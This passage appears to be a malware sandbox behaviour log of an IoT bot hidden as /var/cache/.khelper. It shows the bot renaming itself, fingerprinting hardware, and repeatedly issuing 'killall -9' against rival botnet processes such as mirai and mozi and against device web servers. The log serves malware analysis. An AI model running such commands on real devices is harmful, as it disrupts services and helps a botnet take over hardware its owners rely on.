/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:750
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:751
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:754
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:758
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:760
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:761
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:763
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:767
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:768
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:769
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:775
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:776
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:777
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:778
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:783
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:784
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:785
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:786
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:788
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:792
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:793
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:794
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:798
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:800
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:801
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:802
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:803
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:804
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:809
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:810
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:811
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:812
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:813
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:814
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:815
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:816
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:817
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:818
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:819
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:820
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:821
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:822
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:823
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:824
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:825
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:826
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:827
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:828
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:829
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:830
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:831
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:832
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Reads MAC address of network interface
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:833
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:834
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:835
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:836
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Checks hardware identifiers (DMI)
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:837
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:838
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:839
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:840
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Reads network interface configuration
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:841
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:842
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:843
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:844
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Reads MAC address of network interface
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:845
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:846
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:847
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:848
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:849
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:850
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:851
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:852
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Checks hardware identifiers (DMI)
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:855
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵
- System Network Configuration Discovery
PID:856
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:857
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:858
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵
- System Network Configuration Discovery
PID:861 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:862
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:863
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:864
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:867
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:868
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:870
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:871
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:873
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:874
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:876
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:877
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Reads MAC address of network interface
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:879
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:880
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:882
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵
- Reads runtime system information
PID:884
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:885
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:886
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:888
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:889
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Reads network interface configuration
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:891
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:892
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:895
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:896
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Checks hardware identifiers (DMI)
- Changes its process name
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:897
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:899
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:901
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:902
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:903
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:905
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:907
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:908
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:909
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:911
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:913
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:914
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:915
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:917
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:919
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:921
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:923
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:924
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:925
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:927
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:929
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:930
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:931
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:932
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:935
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:937
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:939
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:940
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Checks hardware identifiers (DMI)
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:942
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:944
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:946
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:948
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:951
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:952
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:955
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:956
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:957
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:959
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:961
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:962
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:964
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:965
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:967
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:968
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
- Enumerates kernel/hardware configuration
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:969
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:970
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:972
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:973
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:974
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:975
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:976
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs3⤵PID:977
-
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
PID:733 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"2⤵PID:978
-
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh3⤵PID:979
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"2⤵PID:980
-
